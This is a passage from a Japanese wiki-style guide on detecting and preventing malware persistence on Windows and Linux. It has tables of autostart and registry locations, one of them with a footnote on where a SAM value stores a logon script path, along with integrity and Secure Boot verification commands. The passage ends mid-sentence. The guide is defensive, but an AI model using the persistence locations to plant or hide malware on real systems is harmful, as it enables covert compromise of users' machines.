例えばOSの起動には一連のシーケンスがありますが、マルウェアは基本的にここの途中に入り込んで永続化します。

{| class=&quot;wikitable&quot;
|+ 起動シーケンス
|-
! 種類 || Windows 11以降 !! Linux (Gnome) !! Linux (KDE)
|-
| 1. 起動ファームウェア || [[:w:Unified Extensible Firmware Interface|UEFI]] || colspan=2 | [[:w:Basic Input/Output System|レガシーBIOS]] / UEFI
|-
| 2. ブートローダー || [[:w:Windows Boot Manager|Windows Boot Manager]] (bootmgfw.efi)&lt;br&gt; → [[:w:Windows Boot Manager#winload.exe/winload.efi|Windows OS Loader]] (winload.efi) || colspan=2 | GRUB{{efn|Ubuntuの標準。}} / systemd-boot / Unified Kernel Image{{efn|Linuxカーネルとブートイメージを単一バイナリにする仕組み。}} / EFI boot stub{{efn|LinuxカーネルをEFIから直接ブートできるようにする仕組み。}}
|-
| 3. カーネル || [[:w:ntoskrnl.exe|ntoskrnl.exe]] || colspan=2 | Linuxカーネル ([[:w:vmlinux|vmlinux]]{{efn|圧縮後はvmlinuzとなる。}})
|-
| 4. 初期化プロセス || [[:w:en:Session Manager Subsystem|smss.exe]]&lt;br&gt; → wininit.exe&lt;br&gt; || rowspan=2 colspan=2 | [[:w:systemd|systemd]]{{efn|以前は代替initもよく使われていたが、今はsystemdが標準となっている。}}
|-
| 5. サービスコントロールマネージャ || colspan=2 | [[:w:en:Service Control Manager|services.exe]]
|-
| rowspan=2 | 6. ログインマネージャ || rowspan=2 | [[:w:Winlogon|winlogon.exe]] || colspan=2 | systemd-logind&lt;br&gt;sd-pam
|-
| [[:w:GNOME ディスプレイマネージャー|GDM]] || [[:w:Simple Desktop Display Manager|SDDM]]
|-
| rowspan=2 | 7. ユーザー初期化プロセス || rowspan=2 | userinit.exe || colspan=2 | systemd
|-
| gnome-session || kcminit&lt;br&gt; → plasma_session
|-
| 8. シェル || [[:w:Windows Explorer|explorer.exe]] || gnome-shell || plasmashell
|-
| 9. コンポジタ || [[:w:Desktop Window Manager|dwm.exe]] || mutter || kwin
|}

また起動シーケンス以外にもアップデートシーケンスへの感染やシェル感染、ブラウザ感染もあります。

{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| Windows || %APPDATA%\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;* || C:\&lt;wbr&gt;ProgramData\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;Start Menu\&lt;wbr&gt;Programs\&lt;wbr&gt;Startup\&lt;wbr&gt;*
|-
| [[:w:PowerShell|PowerShell]] プロファイル&lt;ref&gt;[https://learn.microsoft.com/ja-jp/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.6 about_Profiles - PowerShell - Microsoft Learn] Microsoft&lt;/ref&gt; || %USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Profile.ps1&lt;br&gt;%USERPROFILE%\&lt;wbr&gt;Documents\&lt;wbr&gt;PowerShell\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1 || C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Profile.ps1&lt;br&gt;C:\&lt;wbr&gt;Windows\&lt;wbr&gt;System32\&lt;wbr&gt;WindowsPowerShell\&lt;wbr&gt;*\&lt;wbr&gt;Microsoft.PowerShell_profile.ps1
|}

{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能な設定ファイル
|-
! 規格/アプリケーション !! ユーザー !! システム
|-
| POSIX標準 || ~/.profile || /etc/profile
|-
| XDG Base Directory&lt;wbr&gt;標準 || ~/.local/bin/* ||
|-
| FHS{{efn|Filesystem Hierarchy Standard}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/fhs.shtml] || || /bin/* /sbin/* /usr/bin/* /usr/local/bin/* /etc/inittab
|-
| LSB{{efn|Linux Standard Base}}&lt;wbr&gt;標準[https://refspecs.linuxfoundation.org/lsb.shtml] || || /etc/profile.d/* /etc/init.d/* /etc/cron.d/*
|-
| Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]{{efn|systemd-xdg-autostart-generator が導入されているシステムではこれらがsystemd設定に自動変換される。}} || ~/.config/autostart/* || /etc/xdg/autostart/*
|-
| Bash || ~/.bash_profile ~/.bashrc || /etc/bash_profile /etc/bash.bashrc /etc/bash.bash_logout
|-
| Z shell (Zsh) || ~/.zshenv ~/.zprofile ~/.zshrc ~/.zlogin ~/.zlogout || /etc/zshenv /etc/zprofile /etc/zshrc /etc/zlogin /etc/zlogout&lt;br/&gt;（または /etc/zsh/zshenv /etc/zsh/zprofile /etc/zsh/zshrc /etc/zsh/zlogin /etc/zsh/zlogout）
|-
| Systemd || ~/.config/systemd/user/* || /etc/systemd/system/* /etc/systemd/user/*
|-
| Xorg || ~/.xinitrc ~/.xserverrc ~/.xsession || /etc/X11/xinit/xinitrc /etc/X11/xinit/xserverrc /etc/X11/Xsession /usr/share/xsessions/*
|-
| Wayland ||  || /usr/share/wayland-sessions/*
|-
| Python || ~/.local/lib/python*/site-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getusersitepackages())'&lt;/code&gt;で確認可能。}} || /usr/lib/python*/dist-packages/*/** /usr/local/lib/python*/dist-packages/*/**{{efn|絶対パスは&lt;code&gt;python3 -c 'import site; print(site.getsitepackages())'&lt;/code&gt;で確認可能。}}
|-
| Perl{{efn|Debian/UbuntuではDebianパッケージ設定システム (debconf) のためにPerlを使用している。}} || || /usr/share/perl*/**  /usr/local/share/perl*/** /usr/lib/*/perl*/** /usr/local/lib/*/perl*/**{{efn|絶対パスは&lt;code&gt;perl -V:installsitearch -V:installsitelib -V:installvendorarch -V:installvendorlib -V:archlib -V:privlib -V:installarchlib -V:installprivlib&lt;/code&gt;で確認可能。}}
|}

=== パッケージ管理ファイルを検証する ===
パッケージ管理システムが管理しているファイルではファイルハッシュが保存されているため簡単にその検証を行うことが可能です:
{| class=&quot;wikitable&quot;
|-
! OS / パッケージシステム !! 検証のみ !! 修復
|-
| Windows || &lt;code&gt;sfc&amp;nbsp;/verifyonly&lt;/code&gt; || &lt;code&gt;sfc&amp;nbsp;/scannow&lt;/code&gt;
|-
| Debパッケージ (Debian / Ubuntu) || &lt;code&gt;debsums -s&lt;/code&gt; || &lt;code&gt;apt install --reinstall $(debsums -cs &amp;verbar; xargs -r dpkg-query -S &amp;verbar; cut -d: -f1 &amp;verbar; sort -u)&lt;/code&gt;
|-
| RPMパッケージ (RedHat / Fedora) || &lt;code&gt;rpm -Va&lt;/code&gt; || 
|}

ただしローカルハッシュが改ざんされている可能性もあるため過信はできません。&lt;!--TODO: ローカルハッシュの検証法--&gt;

自動的にシステムの検証を行うシステムも存在します:
* Android - ブロックデバイスレベルでのハッシュ検証 (dm-verityベース)&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;

&lt;!--
またUbuntuのSnapパッケージでもdm-verityの導入が進められています。

また特定言語のパッケージの検証は以下で可能です:
* PIP (Python): なし
--&gt;

=== システム領域に不審なファイルが追加されていないかを調べる ===
システムの追加ファイルの検知にはパッケージシステムで管理されていないファイルの一覧を返す以下のようなツールが存在します:
* Debian / Ubuntu（Debパッケージ）向け: cruft-ngパッケージ（&lt;code&gt;cruft&lt;/code&gt;コマンド）

上記の&lt;code&gt;cruft&lt;/code&gt;コマンドでは設定ファイルだけ残っているパッケージのファイルも出てきてしまいます。そのため、これが邪魔な時は設定ファイルだけ残っているパッケージを&lt;code&gt;sudo apt purge '~c'&lt;/code&gt;で削除しましょう。

またaptレポジトリに無いインストールされたパッケージは&lt;code&gt;apt list '?obsolete'&lt;/code&gt;で、手動 (manual) でインストールされたパッケージは&lt;code&gt;apt-mark showmanual&lt;/code&gt;で確認できます。これらのコマンドを実行してインストールした覚えないパッケージが入ってないかをチェックしましょう。GUI が使えるのであれば&lt;code&gt;synaptic&lt;/code&gt;を起動して「インストール済（ローカルまたは廃止）」と「インストール済（手動）」を確認するのもオススメです。

=== ユーザー領域に不審なファイルが追加されていないかを調べる ===
ユーザースクリプトの書き換えや追加は検知が難しいです。&lt;!--TODO: 良い方法を書く--&gt;

共有ライブラリやスクリプトによるプラグイン追加も可能となっているため、こちらにも気をつけなければいけません。これには例えば以下があります:
{| class=&quot;wikitable&quot;
|+ 代表的なユーザースクリプトや拡張機能のディレクトリパス
|-
! 種類 !! Windowsのパス !! macOSのパス !! Linuxのパス
|-
| Google Chrome 拡張機能 || %LOCALAPPDATA%\Google\Chrome\User Data\*\Extensions\ || ~/Library/Application Support/Google/Chrome/*/Extensions/ || ~/.config/google-chrome/*/Extensions/
|-
| GIMPプラグイン&lt;ref&gt;[https://gimp.cc/faq/add-gimp-plugins.html How to Install GIMP Plugins - Detailed Guide with Troubleshooting] GIMP.cc&lt;/ref&gt; || %APPDATA%\GIMP\*\plug-ins\ || ~/Library/Application Support/GIMP/*/plug-ins/ || ~/.config/GIMP/*/plug-ins/
|-
| Blenderスクリプト{{efn|起動スクリプト、アドオンを含む。}}&lt;ref&gt;[https://docs.blender.org/manual/ja/dev/advanced/blender_directory_layout.html  Blender&amp;#39;s Directory Layout] Blender Foundation&lt;/ref&gt; || %APPDATA%\Blender Foundation\Blender\*\scripts\ || ~/Library/Application Support/Blender/*/scripts/ || ~/.config/blender/*/scripts/
|-
| Ardourスクリプト&lt;ref&gt;[https://manual.ardour.org/lua-scripting/ The Ardour Manual - Lua Scripting] Ardour&lt;/ref&gt; || %LOCALAPPDATA%\ardour*\scripts\ || ~/Library/Preferences/Ardour*/scripts/ || ~/.config/ardour*/scripts/
|-
| LibreOfficeスクリプト || %APPDATA%\LibreOffice\*\user\Scripts\ || ~/Library/Application Support/LibreOffice/*/user/Scripts/ || ~/.config/libreoffice/*/user/Scripts/
|-
| Visual Studio Code 拡張機能&lt;ref&gt;[https://code.visualstudio.com/docs/configure/extensions/extension-marketplace Extension Marketplace] Microsoft&lt;/ref&gt; || %USERPROFILE%\.vscode\extensions\ || ~/.vscode/extensions/ || ~/.vscode/extensions/
|}

=== 改変・追加されたファイルが危険かを調べる ===
実行ファイルやスクリプトはLinuxでは以下で検出できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs file | grep -i -E ':.*(executable|shared object|relocatable|script)'
/etc/init.d/binfmt-support.dpkg-new:                                                                                                    POSIX shell script, ASCII text executable
/etc/update-motd.d/99-livepatch-kernel-upgrade-required:                                                                                POSIX shell script, ASCII text executable
/usr/lib/chromium-browser/plugins/libpepflashplayer.so:                                                                                 ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=5c421e89a5c062a2106a5a4381dc38e779a22795, stripped
&lt;/syntaxhighlight&gt;

またClamAVを導入していれば以下でマルウェアデータベースとの照合を行うことができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
# cat filelist.txt | xargs clamscan
Loading:     3s, ETA:   0s [========================&gt;]    3.63M/3.63M sigs
Compiling:   1s, ETA:   0s [========================&gt;]       41/41 tasks

/etc/apt/apt.conf.d/00trustcdrom: OK
/etc/apt/auth.conf.d/90ubuntu-advantage: OK
/etc/apt/keyrings/google.asc: OK
[...]

----------- SCAN SUMMARY -----------
Known viruses: 3628164
Engine version: 1.5.4
Scanned directories: 125
Scanned files: 1919
Infected files: 0
Total errors: 10
Data scanned: 247.72 MiB
Data read: 281.17 MiB (ratio 0.88:1)
Time: 17.939 sec (0 m 17 s)
Start Date: 2026:10:11 05:41:30
End Date:   2026:10:11 05:41:48
&lt;/syntaxhighlight&gt;

=== 設定データベースを検証する ===
設定データベースは Windows ではレジストリ、Linuxでは GNOME / MATEの 使う [[:en:dconf|dconf]] が存在します。

Windows の設定データベースはレジストリと呼び「レジストリエディタ」 (&lt;code&gt;regedit&lt;/code&gt;) で表示できます。
{| class=&quot;wikitable&quot;
|+ Windows における代表的なユーザースクリプト、コマンド起動、DLL呼び出しが可能なレジストリ
|-
! 規格/アプリケーション !! 各ユーザー !! 全ユーザー
|-
| Windows || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;|RunOnceは一度のみ実行だが再登録することで何回でも実行可能。}} || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Run\&lt;wbr&gt;*&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;RunOnce\&lt;wbr&gt;*{{efn|name=&quot;runonce&quot;}}
|-
| [[:w:en:Security Account Manager|Security Account Manager]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;*\&lt;wbr&gt;V{{efn|name=&quot;sam&quot;|'HKEY_LOCAL_MACHINE\SAM\SAM\' 以下はレジストリエディタの右クリックの「アクセス許可」で Administrators にアクセス許可を与えないと読めない。なおファイルパスは「C:\Windows\System32\config\SAM」。}}{{efn|Vはバイナリであり、0xCC + (0x60 に指定されたオフセット) からユーザーログオンスクリプトパスを指定する&lt;ref name=&quot;sam-ghost&quot;&gt;Sebastián R. Castro et al. [https://dl.acm.org/doi/pdf/10.1145/3689934.3690839 Ghost in the SAM: Stealthy, Robust, and Privileged Persistence through Invisible Accounts]  ACM 2024年&lt;/ref&gt;。}}
|-
| [[:w:en:Local Security Authority Subsystem Service|Local Security Authority Subsystem Service]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;System\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Notification Packages&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;Control\&lt;wbr&gt;LSA\&lt;wbr&gt;Authentication Packages&lt;ref&gt;[https://attack.mitre.org/detectionstrategies/DET0207/ Detect LSA Authentication Package Persistence via Registry and LSASS DLL Load] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:en:Active Setup|Active Setup]]&lt;ref&gt;[https://www.advancedinstaller.com/application-packaging-training/msi/ebook/active-setup.html Active-Setup Mechanism] Advanced Installer&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Active Setup\&lt;wbr&gt;Installed Components\&lt;wbr&gt;*\&lt;wbr&gt;StubPath&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/014/ Boot or Logon Autostart Execution: Active Setup] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:Windowsサービス|Windowsサービス]]&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree HKLM\SYSTEM\CurrentControlSet\Services レジストリ ツリー - Windows drivers - Microsoft Learn] Microsoft&lt;/ref&gt; || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SYSTEM\&lt;wbr&gt;CurrentControlSet\&lt;wbr&gt;services\&lt;wbr&gt;*
|-
| [[:w:Winlogon|Winlogon]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Shell&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Userinit&lt;br&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Windows NT\&lt;wbr&gt;CurrentVersion\&lt;wbr&gt;Winlogon\&lt;wbr&gt;Notify&lt;ref&gt;[https://attack.mitre.org/techniques/T1547/004/ Boot or Logon Autostart Execution: Winlogon Helper DLL] MITRE Corporation&lt;/ref&gt;
|-
| [[:w:cmd.exe|cmd.exe]]&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/cmd cmd - Microsoft Learn] Microsoft&lt;/ref&gt; || HKEY_USERS\&lt;wbr&gt;*\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\REG_EXPAND_SZ || HKEY_LOCAL_MACHINE\&lt;wbr&gt;Software\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Command Processor\&lt;wbr&gt;AutoRun\&lt;wbr&gt;REG_SZ
|-
| [[Microsoft Edge]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Microsoft\&lt;wbr&gt;Edge\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://learn.microsoft.com/ja-jp/deployedge/microsoft-edge-policies/extensioninstallforcelist Microsoft Edge ブラウザー ポリシードキュメント ExtensionInstallForcelist - Microsoft Learn] Microsoft&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;|自動的にサイレントインストールする}}
|-
| [[Google Chrome]] || || HKEY_LOCAL_MACHINE\&lt;wbr&gt;SOFTWARE\&lt;wbr&gt;Policies\&lt;wbr&gt;Google\&lt;wbr&gt;Chrome\&lt;wbr&gt;ExtensionInstallForcelist&lt;ref&gt;[https://chromeenterprise.google/intl/ja_jp/policies/extension-install-forcelist/ ExtensionInstallForcelist: 自動インストールするアプリと拡張機能のリストの設定 - Chrome Enterprise] Google&lt;/ref&gt;{{efn|name=&quot;silent-install&quot;}}
|}

Linux の GNOME / MATE 環境には「[[:w:en:Dconf#dconf database|dconf データベース]]」が存在し、それは&lt;code&gt;dconf dump&lt;/code&gt;（'/'区切り）で表示できます。また dconf データベースにスキーマ（規定値と解説）を被せた gsettings も存在し、こちらは&lt;code&gt;gsettings list-recursively&lt;/code&gt;（dconfと異なり'.'区切り）で表示できます。
{| class=&quot;wikitable&quot;
|+ Linux における代表的なユーザースクリプト又はコマンド起動が可能なdconf設定
|-
! 規格/アプリケーション !! ユーザー
|-
| GNOME Settings Daemon || /org/gnome/settings-daemon/plugins/media-keys/custom-keybindings/custom*/command
|-
| Marco ([[w:MATE (デスクトップ環境)|MATE]]) || /org/mate/Marco/keybinding-commands/command-*{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/Marco/keybinding-commands/&lt;/code&gt;で、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.Marco.keybinding-commands&lt;/code&gt;で表示可能。}}
|-
| MATE Screensaver || /org/mate/screensaver/embedded-keyboard-command&lt;br&gt;/org/mate/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/mate/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.mate.screensaver&lt;/code&gt; で表示可能}}
|-
| mate-applets || /org/mate/panel/objects/object-*/prefs/command
|-
| mate-sensors-applet || /org/mate/panel/objects/object-*/prefs/*/high-alarm-command&lt;br&gt;/org/mate/panel/objects/object-*/prefs/*/low-alarm-command
|}
なお MATE Screensaver と同源の GNOME Screensaver にも /org/gnome/desktop/screensaver/embedded-keyboard-command と /org/gnome/desktop/screensaver/logout-command{{efn|変更した設定は&lt;code&gt;dconf dump /org/gnome/desktop/screensaver/&lt;/code&gt;、デフォルトも含めた設定は&lt;code&gt;gsettings list-recursively org.gnome.desktop.screensaver&lt;/code&gt; で表示可能。}} が存在しますが、こちらは既に廃止されており指定しても無視されます&lt;ref&gt;[https://github.com/GNOME/gsettings-desktop-schemas/blob/main/schemas/org.gnome.desktop.screensaver.gschema.xml.in gsettings-desktop-schemas/schemas/org.gnome.desktop.screensaver.gschema.xml.in at main · GNOME/gsettings-desktop-schemas] GNOME Project&lt;/ref&gt;。

=== メディアに不審なファイルが追加されていないかを調べる ===
メディアの自動実行 ([[:w:en:AutoRun|AutoRun]]) ファイルにもマルウェアが紛れてないか注意しましょう。
{| class=&quot;wikitable&quot;
|+ メディアの自動実行ファイル
|-
! Windows !! Linux&lt;br&gt;（Desktop Application Autostart Specification&lt;wbr&gt;標準[https://specifications.freedesktop.org/autostart/latest/]）
|-
| *:\[[:w:autorun.inf|autorun.inf]] || /media/*/*/.autorun&lt;br&gt;/media/*/*/autorun&lt;br&gt;/media/*/*/autorun.sh&lt;br&gt;/run/media/*/*/.autorun&lt;br&gt;/run/media/*/*/autorun&lt;br&gt;/run/media/*/*/autorun.sh
|}

== 改変を防ぐ ==
改変を探すのは大変です。なので最初から改変をできないようにすれば管理はとても楽になります。

改ざんを防ぐには「[[:w:en:Chain of trust|信頼の連鎖]]」 (chain of trust) が重要となります。例えばカーネルだけで改ざんを防いでも、ハードウェアのファームウェアが不正であれば不正なカーネルを起動できてしまいます。

=== ファームウェア改ざんを防ぐ ===
ファームウェア改ざんによる「ファームウェアルートキット」を防ぐにはIntel Management Engine (Intel ME)で実装されているIntel BIOS Guardを使う必要があります。&lt;!--TODO: マザーボードによってはBIOSで有効にする必要があります。→最近のマザーボード事情--&gt;

なお2017年の第8世代Intel Coreプロセッサ (Coffee Lake) 以前はme_cleanerによってIntel Management Engineの無効化が可能&lt;ref&gt;[https://github.com/corna/me_cleaner/wiki/me_cleaner-status me_cleaner status] Nicola Corna 2018年&lt;/ref&gt;なため非推奨です。

また2023年のIntel ME 16.1.30.2307未満では悪意あるロゴ画像を設定することによってroot権限からUEFI設定の変更が可能です（[[:w:en:LogoFAIL|LogoFAIL]]の脆弱性）。そのため、古いIntel Management Engineが動作している場合はそのファームウェアをアップデートしましょう。Windowsでは MEUpdateTool.exe / FWUpdLcl.exe を使うことでこのアップデートが可能となっています。一方、Linuxでは一部機種が fwupdmgr 経由での Intel ME ファームウェアアップデートに対応しています。 

Intel MEのバージョンはLinuxでは以下のような感じに調べることができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ cat /sys/class/mei/mei0/fw_ver
0:16.1.32.2473
0:16.1.32.2473
0:16.1.27.2181
&lt;/syntaxhighlight&gt;

=== ブートローダー改ざんを防ぐ ===
ブートローダーは起動に使われるファームウェア (BIOS) から呼ばれ、カーネルを読み込んで起動するために使われるプログラムです。古い BIOS (レガシーBIOS) には起動するブートローダーを検証する仕組みが存在しませんでしたが、新しい UEFI (統一拡張ファームウェアインターフェース) には署名されたブートローダーのみを起動する UEFI Secure Boot が追加され、安全なブートローダーの起動を許可するための「承認済み署名データベース」 (Authorized Signature Database、UEFI db) と、脆弱なブートローダーの起動を防ぐための「禁止署名データベース」 (Forbidden Signature Database、UEFI dbx) が用意されています。

UEFI Secure Boot が有効かどうかは以下で確認できます:
* Windows PowerShell: &lt;code&gt;Confirm-SecureBootUEFI&lt;/code&gt;
* Linux: &lt;code&gt;mokutil --sb-state&lt;/code&gt;

UEFI db と UEFI dbx の内容は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-SecureBootUEFI -Name db -Decoded&lt;/code&gt; / &lt;code&gt;Get-SecureBootUEFI -Name dbx -Decoded&lt;/code&gt;
* Linux:
** mokutil{{efn|Ubuntu Desktop に標準で含まれている。}}: &lt;code&gt;mokutil --db&lt;/code&gt; / &lt;code&gt;mokutil --dbx&lt;/code&gt;
** efitools: &lt;code&gt;efi-readvar -v db&lt;/code&gt; / &lt;code&gt;efi-readvar -v dbx&lt;/code&gt;

ブートローダーの署名情報は以下で確認できます:
* Windows PowerShell: &lt;code&gt;Get-PfxCertificate&lt;/code&gt;{{efn|&lt;code&gt;Get-AuthenticodeSignature&lt;/code&gt;はカタログ署名が使われる場合があるため非推奨: https://github.com/PowerShell/PowerShell/issues/23820 。}}
* Linux: &lt;code&gt;sbverify --list&lt;/code&gt;

例えば Windows PowerShell では以下のような感じです:
&lt;syntaxhighlight lang=&quot;powershell&quot;&gt;
PS C:\WINDOWS\system32&gt; mountvol S: /S; if ($?) { Get-PfxCertificate 'S:\EFI\Microsoft\Boot\bootmgfw.efi'; mountvol S: /D }

Thumbprint                                Subject
----------                                -------
FACDE3D80E99AFCC15E08AC5A69BD22785287F79  CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
&lt;/syntaxhighlight&gt;

また Ubuntu や Debian では署名されたブートローダー (grub-efi-*-signedパッケージ) と非署名のブートローダー (grub-efi-*-unsignedパッケージ) の両方が用意されており、ブートローダーの正体がどれか、また署名されたブートローダーの署名内容を確認するのは以下のような感じとなります:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ dpkg -L grub-efi-amd64-signed | grep -i '\.efi' | xargs md5sum # インストールされている署名されたブートローダーのハッシュを表示（grub*は通常版、gcd*は光学ブートメディア向け、grubnet*はネットブート向け）
2bd267fb12bd3b0fe26a9dfb4290868d  /usr/lib/grub/x86_64-efi-signed/gcdx64.efi.signed
f689e93336a015fa6eb93e1913b13482  /usr/lib/grub/x86_64-efi-signed/grubnetx64.efi.signed
b63c7618fb96d52520b42b8cc7b124f0  /usr/lib/grub/x86_64-efi-signed/grubx64.efi.signed
$ sudo sh -c &quot;md5sum /boot/efi/EFI/BOOT/*&quot; # 現在のbootloaderがどれを使っているかを確認（署名されたgrubを使用）
b63c7618fb96d52520b42b8cc7b124f0  /boot/efi/EFI/BOOT/BOOTX64.EFI
$ sudo sbverify --list /boot/efi/EFI/BOOT/BOOTX64.EFI
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/efi/EFI/BOOT/BOOTX64.EFI
Signature verification OK
&lt;/syntaxhighlight&gt;

なお Linux では grub の代わりに使えるブートローダーとして systemd-boot もあります。systemd-boot の署名版は Debian が systemd-boot-efi-*-signed パッケージとして用意しているようです（Ubuntu未搭載）。
&lt;!--TODO: 
TPM (Trusted Platform Module) チップ
--&gt;

=== カーネル本体の改ざんを防ぐ ===
カーネルはオペレーティングシステム (OS) の下層で動き続けるプログラムです。カーネル本体の実行ファイルもブートローダーと同様に署名が行われており、UEFI Secure Boot が有効であればその検証をブートローダーが行います。Linux では GRUB の UEFI Secure Boot と shim_lock の連携がそれに相当します&lt;ref&gt;[https://www.gnu.org/software/grub/manual/grub/grub.html#UEFI-secure-boot-and-shim GNU GRUB Manual 2.14 - 19.4 UEFI secure boot and shim support] フリーソフトウェア財団&lt;/ref&gt;。

なお Ubuntu には署名されたカーネル (linux-image-*パッケージ) と非署名のカーネル (linux-image-unsigned-*パッケージ) の両方が用意されており、署名されているカーネルは以下のような感じでその署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo sbverify --list /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を確認する
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を検証する
Signature verification OK
&lt;/syntaxhighlight&gt;

=== カーネルモジュールの改ざんを防ぐ ===
カーネルモジュールも署名されており、その検証をカーネルが行っています。Windowsカーネルでは ci.dll (Code Integrityモジュール)が、Linuxカーネルでは CONFIG_MODULE_SIG コンパイルオプションがその検証を行っています。

カーネルによるカーネルモジュールの検証が有効かどうかは以下で確認することができます:
* Linux: &lt;code&gt;grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r)&lt;/code&gt;

カーネルによるカーネルモジュールの検証で読み込みを弾くかどうかは以下で確認することができます:
